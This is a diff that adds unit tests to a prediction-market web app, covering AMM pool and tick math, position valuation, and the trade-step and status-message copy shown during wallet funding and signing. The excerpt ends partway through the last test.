+import { describe, expect, it } from "vitest"; + +import { sqrtPriceAtTick, tickAtSqrtPrice } from "@/lib/swap/tickMath"; + +import type { PoolLiquidity } from "@/types/pool"; + +import { + isqrt, + limitSqrtPriceX96, + priceFromSqrtPriceX96, + sqrtPriceX96FromPrice, + swapToward, + volumeUntilPrice, +} from "../poolMath"; + +const WAD = 10n ** 18n; +const Q96 = 2n ** 96n; + +/** Sqrt prices that are exact at X96, so an expectation carries no rounding. */ +const SQRT = { "0.25": 2n ** 95n, "1": 2n ** 96n, "4": 2n ** 97n } as const; + +describe("isqrt", () => { + it("is the square root of a square", () => { + expect(isqrt(0n)).toBe(0n); + expect(isqrt(1n)).toBe(1n); + expect(isqrt(4n)).toBe(2n); + expect(isqrt(2n ** 192n)).toBe(2n ** 96n); + }); + + it("rounds down between squares", () => { + expect(isqrt(2n)).toBe(1n); + expect(isqrt(3n)).toBe(1n); + expect(isqrt(8n)).toBe(2n); + expect(isqrt(15n)).toBe(3n); + expect(isqrt(2n ** 192n - 1n)).toBe(2n ** 96n - 1n); + }); + + it("refuses a negative value", () => { + expect(() => isqrt(-1n)).toThrow(RangeError); + }); +}); + +describe("priceFromSqrtPriceX96", () => { + it("squares the sqrt price when the outcome is token0", () => { + expect(priceFromSqrtPriceX96(SQRT["1"], true)).toBe(WAD); + expect(priceFromSqrtPriceX96(SQRT["0.25"], true)).toBe(WAD / 4n); + }); + + it("inverts it when the outcome is token1", () => { + expect(priceFromSqrtPriceX96(SQRT["1"], false)).toBe(WAD); + expect(priceFromSqrtPriceX96(SQRT["4"], false)).toBe(WAD / 4n); + }); +}); + +describe("sqrtPriceX96FromPrice", () => { + it("undoes priceFromSqrtPriceX96 on either side", () => { + expect(sqrtPriceX96FromPrice(WAD / 4n, true)).toBe(SQRT["0.25"]); + expect(sqrtPriceX96FromPrice(WAD / 4n, false)).toBe(SQRT["4"]); + }); + + it("refuses a price of zero", () => { + expect(() => sqrtPriceX96FromPrice(0n, true)).toThrow(RangeError); + }); +}); + +/* + * Expectations come from the virtual reserves a range holds: x = L / sqrtP outcome tokens against + * y = L * sqrtP underlying. Moving the price moves both, and the differences are the trade. + */ +describe("volumeUntilPrice", () => { + const LIQUIDITY = WAD; + + it("buys the outcome up to the target when it is token0", () => { + // price 0.25 to 1, so sqrtP 0.5 to 1: x falls 2e18 to 1e18, y rises 0.5e18 to 1e18 + const volumes = volumeUntilPrice( + { sqrtPriceX96: SQRT["0.25"], liquidity: LIQUIDITY, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + WAD, + ); + + expect(volumes).toEqual({ outcome: 1000000000000000000n, underlying: 500000000000000000n }); + }); + + it("sells the same amounts back down again", () => { + const volumes = volumeUntilPrice( + { sqrtPriceX96: SQRT["1"], liquidity: LIQUIDITY, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + WAD / 4n, + ); + + expect(volumes).toEqual({ outcome: 1000000000000000000n, underlying: 500000000000000000n }); + }); + + it("swaps which side is which when the outcome is token1", () => { + // the outcome rising 0.25 to 1 is the pool falling 4 to 1, so sqrtP 2 to 1: + // y falls 2e18 to 1e18 outcome, x rises 0.5e18 to 1e18 underlying + const volumes = volumeUntilPrice( + { sqrtPriceX96: SQRT["4"], liquidity: LIQUIDITY, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: false }, + WAD, + ); + + expect(volumes).toEqual({ outcome: 1000000000000000000n, underlying: 500000000000000000n }); + }); + + it("scales with the pool's liquidity", () => { + const volumes = volumeUntilPrice( + { sqrtPriceX96: SQRT["0.25"], liquidity: LIQUIDITY * 7n, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + WAD, + ); + + expect(volumes).toEqual({ outcome: 7000000000000000000n, underlying: 3500000000000000000n }); + }); + + it("asks for nothing when the market is already at the target", () => { + const volumes = volumeUntilPrice( + { sqrtPriceX96: SQRT["0.25"], liquidity: LIQUIDITY, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + WAD / 4n, + ); + + expect(volumes).toEqual({ outcome: 0n, underlying: 0n }); + }); + + it("asks for nothing from a pool that never priced", () => { + const volumes = volumeUntilPrice( + { sqrtPriceX96: 0n, liquidity: LIQUIDITY, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + WAD, + ); + + expect(volumes).toEqual({ outcome: 0n, underlying: 0n }); + }); + + it("asks for nothing from a pool with no liquidity", () => { + const volumes = volumeUntilPrice( + { sqrtPriceX96: SQRT["0.25"], liquidity: 0n, tick: 0, fee: 0n, ticks: [], outcomeIsToken0: true }, + WAD, + ); + + expect(volumes).toEqual({ outcome: 0n, underlying: 0n }); + }); + + it("reaches the price it was asked for", () => { + const pool = { + sqrtPriceX96: SQRT["0.25"], + liquidity: LIQUIDITY, + tick: 0, + fee: 0n, + ticks: [], + outcomeIsToken0: true, + }; + const target = (WAD * 36n) / 100n; + + const { outcome } = volumeUntilPrice(pool, target); + + // x = L / sqrtP, so what the trade leaves behind says where the pool ended up + const reserveAfter = (LIQUIDITY * Q96) / pool.sqrtPriceX96 - outcome; + const priceAfter = priceFromSqrtPriceX96((LIQUIDITY * Q96) / reserveAfter, true); + expect(Number(priceAfter) / 1e18).toBeCloseTo(0.36, 6); + }); +}); + +/** Fixed-seed prices strictly between 0 and 1, in wad. */ +function prices(count: number, seed = 0x1eaf): bigint[] { + let state = BigInt(seed); + return Array.from({ length: count }, () => { + state = (state * 6364136223846793005n + 1442695040888963407n) % 2n ** 64n; + return 10n ** 14n + (state % (WAD - 2n * 10n ** 14n)); + }); +} + +describe("limitSqrtPriceX96", () => { + const cases = [true, false].flatMap((outcomeIsToken0) => + [true, false].map((buying) => ({ outcomeIsToken0, buying })), + ); + + /** Where the exact price at `sqrt` sits against `target`: below, at or above, with no rounding. */ + const against = (sqrt: bigint, outcomeIsToken0: boolean, target: bigint) => { + const [price, scaled] = outcomeIsToken0 + ? [sqrt * sqrt * WAD, target * Q96 * Q96] + : [Q96 * Q96 * WAD, target * sqrt * sqrt]; + return price < scaled ? -1 : price > scaled ? 1 : 0; + }; + + it.each(cases)("never leaves the price past the target (token0 $outcomeIsToken0, buying $buying)", (side) => { + for (const target of prices(300)) { + const limit = limitSqrtPriceX96(target, side.outcomeIsToken0, side.buying); + const position = against(limit, side.outcomeIsToken0, target); + + if (side.buying) expect(position, `target ${target}`).toBeLessThanOrEqual(0); + else expect(position, `target ${target}`).toBeGreaterThanOrEqual(0); + } + }); + + it.each(cases)( + "is the closest sqrt price to the target that does (token0 $outcomeIsToken0, buying $buying)", + (side) => { + for (const target of prices(300)) { + const limit = limitSqrtPriceX96(target, side.outcomeIsToken0, side.buying); + // one step further the way the swap moves the sqrt price is past the target + const rises = side.buying === side.outcomeIsToken0; + const position = against(rises ? limit + 1n : limit - 1n, side.outcomeIsToken0, target); + + expect(position, `target ${target}`).toBe(side.buying ? 1 : -1); + } + }, + ); + + it("refuses a price of zero", () => { + expect(() => limitSqrtPriceX96(0n, true, true)).toThrow(RangeError); + }); +}); + +describe("volumeUntilPrice across initialised ticks", () => { + const LIQUIDITY = WAD; + const flat = (overrides: Partial = {}): PoolLiquidity => ({ + sqrtPriceX96: SQRT["0.25"], + tick: tickAtSqrtPrice(SQRT["0.25"]), + liquidity: LIQUIDITY, + fee: 0n, + ticks: [], + outcomeIsToken0: true, + ...overrides, + }); + + /** The virtual-reserve change between two sqrt prices at one liquidity. */ + const segment = (liquidity: bigint, a: bigint, b: bigint) => { + const [lower, upper] = a < b ? [a, b] : [b, a]; + return { + amount0: (liquidity * Q96 * (upper - lower)) / (lower * upper), + amount1: (liquidity * (upper - lower)) / Q96, + }; + }; + + it("adds the liquidity of a position it climbs into", () => { + // UP buys from 0.25 to 1, and a position from tick -6000 up adds 3e18 of liquidity on the way + const pool = flat({ ticks: [{ tick: -6000, liquidityDelta: 3n * WAD }] }); + const boundary = sqrtPriceAtTick(-6000); + + const first = segment(LIQUIDITY, SQRT["0.25"], boundary); + const second = segment(4n * LIQUIDITY, boundary, SQRT["1"]); + + expect(volumeUntilPrice(pool, WAD)).toEqual({ + outcome: first.amount0 + second.amount0, + underlying: first.amount1 + second.amount1, + }); + }); + + it("takes away the liquidity of a position it falls out of", () => { + // UP sells from 1 to 0.25 through the lower edge of a 3e18 position sitting at tick -6000 + const pool = flat({ + sqrtPriceX96: SQRT["1"], + tick: 0, + liquidity: 4n * LIQUIDITY, + ticks: [{ tick: -6000, liquidityDelta: 3n * WAD }], + }); + const boundary = sqrtPriceAtTick(-6000); + + const first = segment(4n * LIQUIDITY, SQRT["1"], boundary); + const second = segment(LIQUIDITY, boundary, SQRT["0.25"]); + + expect(volumeUntilPrice(pool, WAD / 4n)).toEqual({ + outcome: first.amount0 + second.amount0, + underlying: first.amount1 + second.amount1, + }); + }); + + it("counts a tick the pool sits on as crossed on the way down", () => { + // the pool reports tick -6001 at tick -6000's sqrt price, so its liquidity already left + const atBoundary = flat({ + sqrtPriceX96: sqrtPriceAtTick(-6000), + tick: -6001, + ticks: [{ tick: -6000, liquidityDelta: 3n * WAD }], + }); + + expect(volumeUntilPrice(atBoundary, WAD / 4n)).toEqual(volumeUntilPrice({ ...atBoundary, ticks: [] }, WAD / 4n)); + }); + + it("ignores ticks beyond the target and behind the price", () => { + const pool = flat({ + ticks: [ + { tick: -30000, liquidityDelta: 5n * WAD }, + { tick: 6000, liquidityDelta: -5n * WAD }, + ], + }); + + expect(volumeUntilPrice(pool, WAD)).toEqual(volumeUntilPrice(flat(), WAD)); + }); + + it("is unchanged by a tick that moves no liquidity, wherever it sits, but for a wei of rounding", () => { + const target = (WAD * 81n) / 100n; + const whole = volumeUntilPrice(flat(), target); + for (const price of prices(50)) { + const tick = tickAtSqrtPrice(sqrtPriceX96FromPrice(price, true)); + const split = volumeUntilPrice(flat({ ticks: [{ tick, liquidityDelta: 0n }] }), target); + // each segment rounds down on its own + expect(whole.outcome - split.outcome, `tick ${tick}`).toBeGreaterThanOrEqual(0n); + expect(whole.outcome - split.outcome, `tick ${tick}`).toBeLessThanOrEqual(1n); + expect(whole.underlying - split.underlying, `tick ${tick}`).toBeGreaterThanOrEqual(0n); + expect(whole.underlying - split.underlying, `tick ${tick}`).toBeLessThanOrEqual(1n); + } + }); + + it("adds the fee to the side going in, and only to it", () => { + const FEE = 3000n; + const net = volumeUntilPrice(flat(), WAD); + const buying = volumeUntilPrice(flat({ fee: FEE }), WAD); + + // a buy pays underlying in; the fee comes off it before it reaches the curve + expect(buying.outcome).toBe(net.outcome); + expect(buying.underlying).toBe((net.underlying * 1_000_000n + 1_000_000n - FEE - 1n) / (1_000_000n - FEE)); + + const selling = volumeUntilPrice(flat({ sqrtPriceX96: SQRT["1"], tick: 0, fee: FEE }), WAD / 4n); + const netSell = volumeUntilPrice(flat({ sqrtPriceX96: SQRT["1"], tick: 0 }), WAD / 4n); + expect(selling.underlying).toBe(netSell.underlying); + expect(selling.outcome).toBeGreaterThan(netSell.outcome); + }); +}); + +/* Expectations from the same virtual reserves: buying adds y = L * dSqrtP, selling adds x = L * d(1 / sqrtP). */ +describe("swapToward", () => { + const pool = (sqrtPriceX96: bigint, fee = 0n): PoolLiquidity => ({ + sqrtPriceX96, + liquidity: WAD, + tick: 0, + fee, + ticks: [], + outcomeIsToken0: true, + }); + /** Within a millionth of a token: the search stops a wei of price apart, and sqrt prices round. */ + const near = (actual: bigint, expected: bigint) => + expect(actual > expected ? actual - expected : expected - actual).toBeLessThan(10n ** 12n); + + it("stops at the target when the amount is more than enough", () => { + const swap = swapToward(pool(SQRT["0.25"]), WAD, 10n * WAD); + + expect(swap.priceWad).toBe(WAD); + near(swap.amountOut, WAD); + }); + + it("buys part of the way: 0.25 underlying lifts sqrtP 0.5 to 0.75", () => { + const swap = swapToward(pool(SQRT["0.25"]), WAD, WAD / 4n); + + near(swap.priceWad, 562500000000000000n); + // x falls from 1 / 0.5 to 1 / 0.75 + near(swap.amountOut, 666666666666666666n); + }); + + it("sells part of the way: 0.5 outcome drops sqrtP 1 to 2/3", () => { + const swap = swapToward(pool(SQRT["1"]), WAD / 4n, WAD / 2n); + + near(swap.priceWad, 444444444444444444n); + near(swap.amountOut, 333333333333333333n); + }); + + it("moves less far once the fee is taken from the amount in", () => { + const free = swapToward(pool(SQRT["0.25"]), WAD, WAD / 4n); + const charged = swapToward(pool(SQRT["0.25"], 3000n), WAD, WAD / 4n); + + expect(charged.priceWad).toBeLessThan(free.priceWad); + expect(charged.amountOut).toBeLessThan(free.amountOut); + }); + + it("goes further with every larger amount, never past the target, and never costs more than the amount", () => { + for (const [start, target] of [ + [SQRT["0.25"], WAD], + [SQRT["1"], WAD / 4n], + ] as const) { + const buying = target > priceFromSqrtPriceX96(start, true); + let previous = priceFromSqrtPriceX96(start, true); + for (let step = 1n; step <= 40n; step += 1n) { + const amountIn = (step * WAD) / 20n; + const swap = swapToward(pool(start, 3000n), target, amountIn); + const volumes = volumeUntilPrice(pool(start, 3000n), swap.priceWad); + + expect(buying ? swap.priceWad >= previous : swap.priceWad <= previous).toBe(true); + expect(buying ? swap.priceWad <= target : swap.priceWad >= target).toBe(true); + expect(buying ? volumes.underlying : volumes.outcome).toBeLessThanOrEqual(amountIn); + previous = swap.priceWad; + } + } + }); + + it("does nothing on a pool that never priced", () => { + expect(swapToward(pool(0n), WAD, WAD)).toEqual({ priceWad: 0n, amountOut: 0n }); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/position.test.ts b/apps/web/src/features/predict/utils/__tests__/position.test.ts new file mode 100644 index 00000000..e658fd82 --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/position.test.ts @@ -0,0 +1,37 @@ +import { describe, expect, it } from "vitest"; + +import { positionLeaning, positionWorth } from "../position"; + +const WAD = 10n ** 18n; +const PERCENT = { lowerBound: 0, upperBound: 100 }; + +describe("positionWorth", () => { + it("pays UP the estimate's share of the scale and DOWN the rest", () => { + // at 75 of 0-100, an UP pays 0.75 and a DOWN 0.25 + expect(positionWorth({ up: 200n * WAD, down: 40n * WAD }, 75, PERCENT)).toBe(150n * WAD + 10n * WAD); + }); + + it("measures the share from the scale's lower bound", () => { + // 450 on 400-500 is halfway + expect(positionWorth({ up: 10n * WAD, down: 0n }, 450, { lowerBound: 400, upperBound: 500 })).toBe(5n * WAD); + }); + + it("holds an estimate past a bound at that bound", () => { + expect(positionWorth({ up: 10n * WAD, down: 10n * WAD }, 140, PERCENT)).toBe(10n * WAD); + expect(positionWorth({ up: 10n * WAD, down: 0n }, -5, PERCENT)).toBe(0n); + }); +}); + +describe("positionLeaning", () => { + it("leans higher holding more UP than DOWN", () => { + expect(positionLeaning({ up: 3n, down: 1n })).toBe("higher"); + }); + + it("leans lower holding more DOWN than UP", () => { + expect(positionLeaning({ up: 1n, down: 3n })).toBe("lower"); + }); + + it("leans nowhere holding as much of each", () => { + expect(positionLeaning({ up: 2n, down: 2n })).toBeNull(); + }); +}); diff --git a/apps/web/src/features/predict/utils/__tests__/predictSteps.test.ts b/apps/web/src/features/predict/utils/__tests__/predictSteps.test.ts new file mode 100644 index 00000000..e963c1fe --- /dev/null +++ b/apps/web/src/features/predict/utils/__tests__/predictSteps.test.ts @@ -0,0 +1,608 @@ +import { describe, expect, it } from "vitest"; + +import { FEE_ONLY_OUT_OF_FUNDS_COPY } from "@/utils/txErrorText"; + +import type { PredictProgress } from "../../run/types"; +import { fundingSummary, planFunding } from "../funding"; +import { fundsToAdd, predictSteps, statusLine } from "../predictSteps"; + +const WALLET = "0xdcee0000000000000000000000000000000c664f" as const; +const WAD = 10n ** 18n; + +const progress = (overrides: Partial = {}): PredictProgress => ({ + stage: "quoting", + steps: [ + { id: "create-wallet", label: "Set up your trade wallet", state: "success" }, + { id: "deposit", label: "Add money to your trade wallet", state: "success" }, + { id: "predict-1", label: "Making your prediction", state: "running" }, + ], + leftOut: [], + batchesDone: 0, + batches: 1, + ...overrides, +}); + +const steps = (args: Partial[0]> = {}) => + predictSteps({ + wallet: { address: WALLET, deployed: false }, + toAdd: 4n * WAD, + symbol: "sDAI", + decimals: 18, + progress: null, + ...args, + }); + +describe("predictSteps before a run", () => { + it("offers to create the trade wallet, then add funds, then predict", () => { + expect(steps().rows).toEqual([ + { key: "wallet", title: "Create a trade wallet", subtitle: "", view: "idle" }, + { key: "funds", title: "Add funds", subtitle: "4 sDAI", view: "idle" }, + { key: "predict", title: "Place prediction", subtitle: "", view: "idle" }, + ]); + }); + + it("names an existing trade wallet by its short address", () => { + const [wallet] = steps({ wallet: { address: WALLET, deployed: true } }).rows; + + expect(wallet).toEqual({ key: "wallet", title: "Trade wallet", subtitle: "0xdcee...664f", view: "done" }); + }); + + it("greys out adding funds when the trade wallet already covers the amount", () => { + expect(steps({ toAdd: 0n }).rows[1]).toMatchObject({ view: "inactive", subtitle: "" }); + }); + + it("never says it is adding 0 when the amount is below the shown decimals", () => { + expect(steps({ toAdd: 15n * 10n ** 10n }).rows[1]?.subtitle).toBe("less than 0.0001 sDAI"); + // a single wei still reads as something being added + expect(steps({ toAdd: 1n }).rows[1]?.subtitle).toBe("less than 0.0001 sDAI"); + }); +}); + +describe("predictSteps naming what the funds step adds", () => { + const SDAI = { id: "collateral", symbol: "sDAI", decimals: 18 } as const; + const XDAI = { id: "native", symbol: "xDAI", decimals: 18 } as const; + // the deposit for 900 xDAI at this rate rounds to 1 wei short of 900; the sDAI is 717.546564785684787149 + const XDAI_PER_SDAI = 1_254273999999999999n; + + it("names an sDAI payment in sDAI alone", () => { + const funding = planFunding({ amount: 10n * WAD, ownWallet: 25n * WAD, tradeWallet: 0n }); + + expect(steps(fundsToAdd(funding, SDAI, SDAI)).rows[1]?.subtitle).toBe("10 sDAI"); + }); + + it("names an xDAI payment in xDAI alone, as the summary under the amount names the sDAI", () => { + const funding = planFunding({ + amount: 900n * WAD, + ownWallet: 1000n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: XDAI_PER_SDAI, + }); + + expect(steps(fundsToAdd(funding, XDAI, SDAI)).rows[1]?.subtitle).toBe("900 xDAI"); + }); + + it("names only the xDAI the trade wallet does not already cover", () => { + const funding = planFunding({ + amount: 900n * WAD, + ownWallet: 1000n * WAD, + tradeWallet: 100n * WAD, + tokenPerCollateralWad: 1_250000000000000000n, + }); + + expect(steps(fundsToAdd(funding, XDAI, SDAI)).rows[1]?.subtitle).toBe("775 xDAI"); + }); + + it("says nothing is added when the trade wallet covers an xDAI payment", () => { + const funding = planFunding({ + amount: 900n * WAD, + ownWallet: 1000n * WAD, + tradeWallet: 720n * WAD, + tokenPerCollateralWad: 1_250000000000000000n, + }); + + expect(steps(fundsToAdd(funding, XDAI, SDAI)).rows[1]).toMatchObject({ subtitle: "", view: "inactive" }); + }); +}); + +describe("predictSteps during a run", () => { + it("leaves every step waiting while the prices are checked before the run has a step going", () => { + const pending = progress().steps.map((step) => ({ ...step, state: "pending" as const })); + const checked = steps({ progress: progress({ stage: "quoting", steps: pending }) }); + + expect(checked.pricing).toBe(true); + expect(checked.rows.map((row) => [row.view, row.subtitle])).toEqual([ + ["idle", ""], + ["idle", "4 sDAI"], + ["idle", ""], + ]); + }); + + it("keeps the prediction step running while a batch checks its prices mid-run", () => { + const checked = steps({ progress: progress({ stage: "quoting" }) }); + + expect(checked.pricing).toBeUndefined(); + expect(checked.rows[2]).toMatchObject({ view: "running", subtitle: "Checking prices…" }); + }); + + it("says nothing of prices on the trade wallet step while it is prepared", () => { + const creating = progress({ + stage: "quoting", + steps: [ + { id: "create-wallet", label: "", state: "running" }, + { id: "predict-1", label: "", state: "pending" }, + ], + }); + + expect(steps({ progress: creating }).rows[0]).toMatchObject({ view: "running", subtitle: "" }); + }); + + it("says to confirm in the wallet while it asks for a signature", () => { + const rows = steps({ progress: progress({ stage: "signing" }) }).rows; + + expect(rows.map((row) => row.view)).toEqual(["done", "done", "running"]); + expect(rows[2]?.subtitle).toBe("Confirm in your wallet"); + }); + + it("counts the batches when a prediction takes more than one", () => { + const rows = steps({ + progress: progress({ + stage: "confirming", + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "predict-1", label: "", state: "success" }, + { id: "predict-2", label: "", state: "running" }, + ], + batches: 2, + batchesDone: 1, + }), + }).rows; + + expect(rows[2]?.subtitle).toBe("2 of 2 · Confirming…"); + }); + + it("marks the prediction done once the run completes", () => { + const rows = steps({ + progress: progress({ + stage: "complete", + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "predict-1", label: "", state: "success" }, + ], + batchesDone: 1, + }), + }).rows; + + expect(rows[2]).toMatchObject({ view: "done", subtitle: "" }); + }); + + it("says why a stopped run stopped, and how much went through", () => { + const result = steps({ + progress: progress({ + stage: "halted", + steps: [ + { id: "predict-1", label: "", state: "success" }, + { id: "predict-2", label: "", state: "error" }, + ], + batchesDone: 3, + batches: 5, + failure: { reason: "rejected", retryable: true }, + }), + }); + + expect(result.failure).toBe("You declined in your wallet."); + expect(result.rows[2]).toMatchObject({ view: "failed", subtitle: "3 of 5 went through" }); + }); + + it("marks the step that failed, not the prediction, when the deposit stops the run", () => { + const rows = steps({ + progress: progress({ + stage: "halted", + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state: "error" }, + { id: "predict-1", label: "", state: "pending" }, + ], + failure: { reason: "rejected", retryable: true }, + }), + }).rows; + + expect(rows.map((row) => row.view)).toEqual(["done", "failed", "inactive"]); + }); + + it("crosses no step whose transaction was sent but has not confirmed", () => { + const rows = steps({ + progress: progress({ + stage: "halted", + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state: "running" }, + { id: "predict-1", label: "", state: "pending" }, + ], + failure: { reason: "rpc", retryable: true }, + pendingHash: `0x${"ab".repeat(32)}`, + }), + }).rows; + + expect(rows.map((row) => row.view)).not.toContain("failed"); + }); + + it("marks the prediction failed when the run stops before any step", () => { + const pending = progress().steps.map((step) => ({ ...step, state: "pending" as const })); + const rows = steps({ + progress: progress({ stage: "halted", steps: pending, failure: { reason: "quote", retryable: true } }), + }).rows; + + expect(rows[2]?.view).toBe("failed"); + }); + + it("says a batch off the allow-list was not sent, and crosses the prediction", () => { + const result = steps({ + progress: progress({ + stage: "halted", + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state: "success" }, + { id: "predict-1", label: "", state: "error" }, + ], + failure: { reason: "unlisted", retryable: false }, + }), + }); + + expect(result.failure).toBe("This transaction isn't one Foresight sends, so it wasn't sent."); + expect(result.rows[2]?.view).toBe("failed"); + }); + + it("has no failure to report while the run is going", () => { + expect(steps({ progress: progress() }).failure).toBeUndefined(); + }); +}); + +describe("predictSteps while adding funds", () => { + const depositing = (stage: PredictProgress["stage"]) => + progress({ + stage, + steps: [ + { id: "create-wallet", label: "", state: "success" }, + { id: "deposit", label: "", state: "running" }, + { id: "predict-1", label: "", state: "pending" }, + ], + }); + + it.each([ + ["signing", "Confirm in your wallet"], + ["confirming", "Confirming…"], + ] as const)("shows Add funds running, without the amount, while %s", (stage, copy) => { + const funds = steps({ progress: depositing(stage), toAdd: 4n * WAD }).rows[1]; + + expect(funds?.view).toBe("running"); + expect(funds?.subtitle).toBe(copy); + }); +}); + +describe("the sDAI an xDAI payment becomes", () => { + it("is said in the summary under the amount, and the funds step names the xDAI alone", () => { + const xDai = { id: "native" as const, symbol: "xDAI", decimals: 18 }; + const sDai = { symbol: "sDAI", decimals: 18 }; + // 1.2543 xDAI per sDAI, so 1 xDAI is 0.79725... sDAI: truncating and rounding disagree in the 4th decimal + const funding = planFunding({ + amount: WAD, + ownWallet: 10n * WAD, + tradeWallet: 0n, + tokenPerCollateralWad: 12543n * 10n ** 14n, + }); + + const summary = fundingSummary({ funding, amount: WAD, token: xDai, collateral: sDai }); + const subtitle = predictSteps({ wallet: null, progress: null, ...fundsToAdd(funding, xDai, sDai) }).rows[1] + ?.subtitle; + + expect(summary?.text).toBe("≈ 0.7973 sDAI from your wallet"); + expect(subtitle).toBe("1 xDAI"); + }); +}); + +describe("statusLine", () => { + const idle = steps(); + const halted = steps({ progress: progress({ stage: "halted", failure: { reason: "rpc", retryable: true } }) }); + + it("says nothing before a run, nor once it has placed the prediction", () => { + const placed = steps({ + progress: progress({ + stage: "complete", + steps: progress().steps.map((step) => ({ ...step, state: "success" as const })), + }), + }); + + expect(statusLine({ steps: idle, leftOut: 0 })).toBeNull(); + expect(placed.rows.find((row) => row.key === "predict")?.view).toBe("done"); + expect(statusLine({ steps: placed, leftOut: 0 })).toBeNull(); + }); + + it("names the estimates a run left out, since they were not signed", () => { + expect(statusLine({ steps: idle, leftOut: 2 })).toEqual({ + text: "2 estimates could not be traded.", + tone: "neutral", + }); + expect(statusLine({ steps: idle, leftOut: 1 })?.text).toBe("1 estimate could not be traded."); + }); + + it("asks the visitor to confirm when the pools moved, in the warning tone", () => { + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 2, credits: false } })).toEqual({ + text: "Prices moved on 2 markets. Confirm to go on.", + tone: "warning", + }); + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 1, credits: false } })?.text).toBe( + "Prices moved on 1 market. Confirm to go on.", + ); + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 1, credits: true } })?.text).toBe( + "Prices moved on 1 market and the credits swap. Confirm to go on.", + ); + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 2, credits: true } })?.text).toBe( + "Prices moved on 2 markets and the credits swap. Confirm to go on.", + ); + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 0, credits: true } })?.text).toBe( + "The credits swap now pays less. Confirm to go on.", + ); + }); + + it("names the one market that moved, where it goes now and where it went before, each kept whole on a line", () => { + const only = { name: "Berlin", to: "400 $M", was: "420 $M" }; + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 1, credits: false, only } })?.text).toBe( + "Berlin now goes to 400\u00a0$M, not 420\u00a0$M. Confirm to go on.", + ); + const city = { name: "Oslo", to: "1,200 k", was: "1,150 k" }; + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 1, credits: false, only: city } })?.text).toBe( + "Oslo now goes to 1,200\u00a0k, not 1,150\u00a0k. Confirm to go on.", + ); + const long = { ...only, name: "A market name far too long to quote" }; + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 1, credits: false, only: long } })?.text).toBe( + "Prices moved on 1 market. Confirm to go on.", + ); + }); + + it("names the market only while the whole sentence keeps to two lines at 320px wide", () => { + for (const only of [ + { name: "Lisbon metropolitan area", to: "400 $M", was: "420 $M" }, + { name: "New York", to: "1,200 k people", was: "1,150 k people" }, + { name: "Montevideo", to: "1,234,567 $M", was: "1,234,587 $M" }, + ]) { + expect(statusLine({ steps: idle, leftOut: 0, moved: { markets: 1, credits: false, only } })?.text).toBe( + "Prices moved on 1 market. Confirm to go on.", + ); + } + }); + + it("puts a notice before the moved pools", () => { + expect( + statusLine({ + steps: idle, + leftOut: 0, + moved: { markets: 1, credits: false }, + notice: "Switch to Gnosis to predict.", + })?.text, + ).toBe("Switch to Gnosis to predict."); + }); + + it("names a large credits swap loss in one short small line before a run, and not once one has started", () => { + expect(statusLine({ steps: idle, leftOut: 0, creditsLoss: "≈ 38 xDAI" })).toEqual({ + text: "Credits swap loses ≈ 38 xDAI.", + tone: "warning", + small: true, + }); + const started = steps({ progress: progress({ stage: "signing" }) }); + expect(statusLine({ steps: started, leftOut: 0, creditsLoss: "≈ 38 xDAI" })).toBeNull(); + }); + + it("says in a few words that a sent transaction is not confirmed yet", () => { + const pending = steps({ + progress: progress({ + stage: "halted", + failure: { reason: "rpc", retryable: true }, + pendingHash: `0x${"ab".repeat(32)}`, + }), + }); + + expect(statusLine({ steps: pending, leftOut: 0 })).toEqual({ + text: "Sent, not confirmed yet.", + tone: "warning", + }); + }); + + it.each([ + ["unseen", "The network can't find your last transaction yet. Check again, or discard it."], + ["resign", "A wallet prompt from this run may still be open. Check your wallet before signing again."], + ] as const)("says what to do with a sent hash no node finds, at %s, rather than that it is sent", (reason, text) => { + const held = steps({ + progress: progress({ + stage: "halted", + failure: { reason, retryable: true }, + pendingHash: `0x${"ab".repeat(32)}`, + }), + }); + + expect(statusLine({ steps: held, leftOut: 0 })).toEqual({ text, tone: "warning" }); + }); + + it.each([ + ["rejected", "You declined in your wallet."], + ["cancelled", "Cancelled or replaced in your wallet."], + ["reverted", "The trade failed at these prices. Raise slippage in Settings and retry."], + ["rpc", "The network did not answer."], + ["unknown", "Something went wrong."], + ["no-route", "No trade found for these estimates. Try a larger amount."], + ["quote", "Could not get prices. Try again shortly."], + ["funds", "Your wallet is short, fee included. Lower the amount or add funds."], + ["balance", "Trade wallet balance is lower than shown. Check the amount."], + ["deposit-unconfirmed", "Your last transaction may still be confirming. Check your wallet."], + ["wrong-wallet", "Started from another wallet. Connect it to finish."], + ["wrong-chain", "Started on another network. Switch to it to finish."], + ] as const)("names a %s stop in words with a referent", (reason, text) => { + const stopped = steps({ progress: progress({ stage: "halted", failure: { reason, retryable: true } }) }); + + expect(statusLine({ steps: stopped, leftOut: 0 })?.text).toBe(text); + }); + + it("names a funds stop after money moved as the fee alone, in the wallet dialogs' words", () => { + const stopped = steps({ + progress: progress({ stage: "halted", failure: { reason: "funds", retryable: true }, moneyMoved: true }), + }); + + expect(statusLine({ steps: stopped, leftOut: 0 })?.text).toBe( + "Not enough xDAI for the network fee. Add some, then try again.", + ); + expect(statusLine({ steps: stopped, leftOut: 0 })?.text).toBe(FEE_ONLY_OUT_OF_FUNDS_COPY); + }); + + it("asks to try again shortly when credits can't be spent after money moved", () => { + const stopped = steps({ + progress: progress({ stage: "halted", failure: { reason: "credits", retryable: false }, moneyMoved: true }), + }); + + 